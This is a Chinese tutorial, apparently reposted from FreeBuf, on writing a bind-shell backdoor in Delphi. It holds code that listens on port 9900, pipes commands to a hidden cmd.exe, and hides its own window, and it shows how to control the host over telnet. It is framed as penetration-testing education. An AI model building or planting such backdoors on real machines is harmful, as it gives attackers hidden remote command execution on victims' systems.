DELPHI黑客编程(一):正向后门原理实现

栏目: 编程语言 · 发布时间: 7年前

内容简介:在渗透测试中经常用到远控、后门等辅助后渗透权限维持工具,有一款好用的自制后门可以在巩固渗透成果方面有很大的帮助。今天给大家简单讲解下后门的原理和实现的方法,主要针对技术研究和原理演示,请各位看官不要用于违法活动。

*本文原创作者:5ecurity,本文属FreeBuf原创奖励计划,未经许可禁止转载

PS:本文仅作为技术讨论分享,严禁用于任何非法用途。

前言

在渗透测试中经常用到远控、后门等辅助后渗透权限维持工具,有一款好用的自制后门可以在巩固渗透成果方面有很大的帮助。今天给大家简单讲解下后门的原理和实现的方法,主要针对技术研究和原理演示,请各位看官不要用于违法活动。

DELPHI黑客编程(一):正向后门原理实现

一、后门的分类

按照连接方式可分为正向后门及反弹后门。字面上理解就是正向后门会在被控机上开启监听端口,等待控制机的连接机控制,反弹后门会在被控端运行并尝试获取控制机地址及端口,获取成功后主动连接控制机等待控制指令。

两种后门各有不同的应用场景,有几个主要的差别如下:

1、正向后门需要被控机能直接ip形式访问,也就是说如果你在内网机器上安装了一个后门,在外网是不能直接连接控制的,除非在路由器上将内网机器的后门端口映射到外网;

2、反弹后门的控制机需要直接ip形式可访问,也就是说被控端在获取到控制端ip和端口后在反向连接的时候需要能直接ip可达,原理同上。

二、后门的功能

后门和远控不一样,后门一般功能简单,不需要有什么屏幕控制之类的功能,因为后门主要是用来获取被控机连接权限的,所以一般后门主要功能集中在隐藏、潜伏、保持连接,功能上具备执行命令功能即可。而远控就不一样了,一般会有丰富的功能,如命令执行、文件管理、进程管理、键盘记录、屏幕控制、摄像头监控、音频监控等等。

我们今天用来学习的是一个简单的只有命令执行功能的演示demo。

三、后门实现原理

首先,后门是一个网络通讯软件,那就需要建立连接。正向后门需要在本机开启监听端口等到控制机的连接控制。

在windows下可以使用socket来建立套接字,再使用bind绑定地址、listen监听端口、accept等到控制机的连接,连接上以后就可以使用recv和send收发控制指令和回显信息了。主要原理基本就这些,当然使用完socket要记得用closesocket关闭套接字。

第二,光有通信功能还是不够的,还要具备命令执行功能,一个简单的实现方法就是使用进程通信方法将命令传递给cmd.exe执行,并将结果发送给控制机。这里的方法有很多,比如说匿名管道、单管道、或者直接绑定socket等。

四、代码实现

1、通信建立

port:=9900; //定义访问端口

timeout:=PChar(50000); //定义超时时间



bindserver:=socket(AF_INET,SOCK_STREAM,0); //定义socket



addrserver.sin_family:=AF_INET;

addrserver.sin_port:=htons(port);

addrserver.sin_addr.S_addr:=INADDR_ANY;



setsockopt(bindserver,SOL_SOCKET,SO_RCVTIMEO,timeout,sizeof(timeout)); //设置超时时间



bind(bindserver,addrserver,sizeof(addrserver)); //绑定地址



listen(bindserver,5); //启动监听

2、创建管道与cmd.exe通信

sa:SECURITY_ATTRIBUTES; //定义安全属性

siinfo:STARTUPINFO; //新进程的STARTUPINFO结构体



sa.nLength:=sizeof(SECURITY_ATTRIBUTES); //设置安全属性

sa.lpSecurityDescriptor:=nil;

sa.bInheritHandle:=TRUE;



createpipe(hreadpipe1,hwritepipe1,@sa,0); //创建两个匿名管道

createpipe(hreadpipe2,hwritepipe2,@sa,0);



siinfo.dwFlags:=(STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW);

siinfo.wShowWindow:=SW_HIDE; //新进程窗体隐藏

siinfo.hStdInput:=hreadpipe2;  //新进程输入管道

siinfo.hStdOutput:=hwritepipe1; //新进程输出管道

siinfo.hStdError:=hwritepipe1; //新进程报错信息管道



StrPCopy(cmdpath,'c:\windows\system32\cmd.exe'); //设置cmd路径



CreateProcess(nil,cmdpath,nil,nil,true,0,nil,nil,siinfo,processinformation);//创建进程

五、使用方法

上面两步完成后基本可实现一个简单的后门演示demo,具体使用方法如下:

1、编译好后门demo并运行,会在被控机监听9900端口

DELPHI黑客编程(一):正向后门原理实现

因为演示方便没有隐藏窗体,要隐藏也很简单可增加如下代码即可:

win:longint;

win:=getforegroundwindow; //获取当前窗体的句柄

showwindow(win,SW_HIDE);  //隐藏窗体

2、使用telnet连接被控机9900

DELPHI黑客编程(一):正向后门原理实现

3、执行命令

连接成功之后会有欢迎信息,说明可以执行命令了。

DELPHI黑客编程(一):正向后门原理实现


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

ASP.NET 2.0开发指南

ASP.NET 2.0开发指南

郝刚 / 人民邮电出版社 / 2006 / 88.0

本书紧紧围绕ASP.NET 2.0技术精髓展开深入讲解,全书分为6个部分,共18章。第1部分介绍基础知识,包括ASP.NET 2.0概述、Visual Studio 2005集成开发环境、创建ASP.NET应用程序和C# 2.0程序设计基础。第2部分讲解用户界面方面的特性,包括母版页、主题和皮肤、站点导航控件和其他新增服务器控件。第3部分探讨了数据访问方面的内容,包括数据访问技术概述、数据源控件、......一起来看看 《ASP.NET 2.0开发指南》 这本书的介绍吧!

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具